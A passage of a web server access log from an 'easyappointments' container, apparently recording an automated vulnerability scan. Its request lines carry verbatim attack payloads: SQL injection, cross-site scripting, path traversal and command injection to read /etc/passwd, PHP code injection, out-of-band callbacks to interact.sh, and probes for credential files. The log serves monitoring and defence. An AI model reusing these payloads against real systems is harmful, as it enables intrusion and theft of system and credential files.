Firefox/137.0"
easyappointments-1 | 2026-11-03T04:05:44.324553047Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /wlsecurity.html HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134"
easyappointments-1 | 2026-11-03T04:05:44.324792922Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "POST /general/userinfo.php?UID=1 HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.324963714Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /wlsecurity.html HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0"
easyappointments-1 | 2026-11-03T04:05:44.325047005Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /admin/?n=language&c=language_general&a=doSearchParameter&editor=cn&word=search&appno=0+union+select+98989*443131,1--+&site=admin HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2"
easyappointments-1 | 2026-11-03T04:05:44.325156839Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /login.jsp?redirect=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0"
easyappointments-1 | 2026-11-03T04:05:44.325418380Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /SWNetPerfMon.db.i18n.ashx?l=khpvi&v=khpvi HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; WOW64; rv:41.0) Gecko/20100101 Firefox/140.0.1 (x64 de)"
easyappointments-1 | 2026-11-03T04:05:44.326175005Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /login.jsp?nodeid=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.326369464Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /auth/auth.json HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.326454339Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 404 481 "-" "Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.326521880Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.326961339Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /modules/fieldpopupnewsletter/ajax.php?callback=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 404 481 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.15"
easyappointments-1 | 2026-11-03T04:05:44.327034672Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /ExportReportingManager.aspx HTTP/1.1" 404 481 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
easyappointments-1 | 2026-11-03T04:05:44.327180547Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /api/4/config HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0"
easyappointments-1 | 2026-11-03T04:05:44.327409547Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /authentication/auth.json HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.327513005Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /api/4/config HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
easyappointments-1 | 2026-11-03T04:05:44.327571255Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /modules/fieldpopupnewsletter/ajax.php?callback=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 404 481 "-" "Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.327633464Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /ExportReportingManager.aspx HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.4 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.328052714Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /index.php?g=g&m=Door&a=index&content=<?php%20echo%20md5('ThinkCMF'); HTTP/1.1" 200 20828 "-" "Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.328071589Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /index.php?page=install HTTP/1.1" 200 20829 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.7"
easyappointments-1 | 2026-11-03T04:05:44.328131505Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /login.jsp?onlyOnePerVM=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.328158130Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /oauth/auth.json HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.22"
easyappointments-1 | 2026-11-03T04:05:44.328180214Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /page/1%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0"
easyappointments-1 | 2026-11-03T04:05:44.328227547Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09 HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.328275755Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /go.php?http://interact.sh HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.328278589Z [Tue Nov 03 04:05:44.328256 2026] [php:error] [pid 175:tid 175] [client 192.168.65.140:37208] script '/var/www/html/go.php' not found or unable to stat
easyappointments-1 | 2026-11-03T04:05:44.328839547Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /wp-content/plugins/brandfolder/callback.php?wp_abspath=https://interact.sh/ HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0"
easyappointments-1 | 2026-11-03T04:05:44.328924464Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /nifi-api/process-groups/root HTTP/1.1" 404 481 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.8"
easyappointments-1 | 2026-11-03T04:05:44.329370005Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /keys/auth.json HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.329452422Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /login.jsp?redirect=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"
easyappointments-1 | 2026-11-03T04:05:44.329777964Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /login.jsp?nodeid=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E HTTP/1.1" 404 481 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.15"
easyappointments-1 | 2026-11-03T04:05:44.329827547Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /credentials/auth.json HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.329962714Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /creds/auth.json HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.329984047Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /index.php?option=com_redtwitter&view=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 429 612 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0"
easyappointments-1 | 2026-11-03T04:05:44.330115880Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /storage/sessions/ HTTP/1.1" 403 484 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.330120505Z [Tue Nov 03 04:05:44.330090 2026] [access_compat:error] [pid 237:tid 237] [client 192.168.65.140:37140] AH01797: client denied by server configuration: /var/www/html/storage/sessions/
easyappointments-1 | 2026-11-03T04:05:44.330143297Z [Tue Nov 03 04:05:44.330133 2026] [php:error] [pid 147:tid 147] [client 192.168.65.140:37154] script '/var/www/html/go.php' not found or unable to stat
easyappointments-1 | 2026-11-03T04:05:44.330159464Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /go.php?http://interact.sh HTTP/1.1" 404 481 "-" "Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.330204547Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /wp-content/plugins/brandfolder/callback.php?wp_abspath=https://interact.sh/ HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/7.1.2 Safari/537.85.11"
easyappointments-1 | 2026-11-03T04:05:44.330243797Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /nifi-api/process-groups/root HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"
easyappointments-1 | 2026-11-03T04:05:44.330279047Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /wp-content/plugins/cab-fare-calculator/tblight.php?controller=../../../../../../../../../../../etc/passwd%00&action=1&ajax=1 HTTP/1.1" 404 481 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/15.0"
easyappointments-1 | 2026-11-03T04:05:44.330307964Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /api/security/ticket HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0"
easyappointments-1 | 2026-11-03T04:05:44.330683297Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /api/security/ticket HTTP/1.1" 404 481 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
easyappointments-1 | 2026-11-03T04:05:44.330684880Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /wp-content/plugins/cab-fare-calculator/tblight.php?controller=../../../../../../../../../../../etc/passwd%00&action=1&ajax=1 HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; es-es) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1"
easyappointments-1 | 2026-11-03T04:05:44.330726130Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /web.config.i18n.ashx?l=khpvi&v=khpvi HTTP/1.1" 404 481 "-" "Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.16"
easyappointments-1 | 2026-11-03T04:05:44.330780297Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /admin/?n=product&c=product_admin&a=dopara&app_type=shop&id=1%20union%20SELECT%201,2,3,25367*75643,5,6,7%20limit%205,1%20%23 HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0"
easyappointments-1 | 2026-11-03T04:05:44.330825422Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /credentials/auth.json HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.4 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.331032339Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END; HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362"
easyappointments-1 | 2026-11-03T04:05:44.331765005Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /creds/auth.json HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:44.331840214Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /index.php?option=com_redtwitter&view=../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1" 429 612 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.2 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.331891130Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /SWNetPerfMon.db.i18n.ashx?l=khpvi&v=khpvi HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
easyappointments-1 | 2026-11-03T04:05:44.333801755Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /index.php?module=API&method=SitesManager.getAllSites&format=json&token_auth=anonymous HTTP/1.1" 429 460 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/7.0"
easyappointments-1 | 2026-11-03T04:05:44.334311839Z 192.168.65.140 - - [03/Nov/2026:04:05:44 +0000] "GET /matomo/index.php?module=API&method=SitesManager.getAllSites&format=json&token_auth=anonymous HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15"
easyappointments-1 | 2026-11-03T04:05:45.241611381Z 127.0.0.1 - - [03/Nov/2026:04:05:45 +0000] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.4.69 (Debian) PHP/8.5.12 (internal dummy connection)"
easyappointments-1 | 2026-11-03T04:05:46.248097631Z 127.0.0.1 - - [03/Nov/2026:04:05:46 +0000] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.4.69 (Debian) PHP/8.5.12 (internal dummy connection)"